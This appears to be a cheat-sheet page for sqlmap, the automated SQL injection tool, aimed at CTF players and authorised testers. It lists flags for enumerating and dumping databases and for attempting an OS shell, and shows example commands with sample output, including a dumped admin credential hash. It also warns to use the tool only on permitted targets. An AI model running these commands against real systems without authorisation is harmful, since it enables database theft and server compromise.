Skip to content

SQLmap

Official Documentation: https://sqlmap.org/

Cheat Sheet: SQLmap Commands

Purpose

sqlmap is an automated SQL injection tool that detects and exploits SQL injection flaws, enumerates databases, dumps data, and can provide a SQL shell.

Scenarios

  • CTF: Identify SQL injection points, dump database contents (tables, columns) to find flags.
  • Real world: Verify suspected injection vulnerabilities, enumerate DBs, and help prioritize fixes.

All needed info to run

  • Target URL with injectable parameter (GET/POST) or a request file (-r request.txt).
  • Common flags:
  • -u <url> → target URL
  • -p <param> → parameter to test (optional)
  • --data="<postdata>" → POST data
  • -r <reqfile> → use saved request file (Burp)
  • --dbs → enumerate databases
  • --tables -D <db> → list tables in database
  • --columns -D <db> -T <table> → list columns
  • --dump -D <db> -T <table> → dump table contents
  • --os-shell / --os-pwn → attempt OS shell (dangerous; often needs file writes)
  • --proxy=http://127.0.0.1:8080 → route through Burp
  • Use -v for verbosity. Use --batch to skip prompts.

Example commands & outputs

# Basic test
$ sqlmap -u "http://192.168.56.101/item.php?id=1" --batch
# Output snippet:
# [INFO] testing for SQL injection on parameter 'id'
# [INFO] the back-end DBMS is MySQL
# available databases [3]:
# [0] information_schema
# [1] users_db
# [2] test_db

# Enumerate tables in users_db
$ sqlmap -u "http://example.com/product.php?id=2" --tables -D users_db
# Output:
# Database: users_db
# +----------+
# | users    |
# | creds    |
# +----------+

# Dump data from a table
$ sqlmap -u "http://example.com/product.php?id=2" --dump -D users_db -T users
# Output snippet:
# username: admin
# password: $2y$10$encryptedhash

SQLmap Basics

  • Use -r with a Burp request file for complex requests (auth, headers, cookies).
  • --batch automates choices but may make risky decisions; use carefully.
  • SQLmap can be very noisy and disruptive — use only on allowed targets.
  • Avoid --os-shell/--os-pwn on production targets unless you have permission.

SQLmap Commands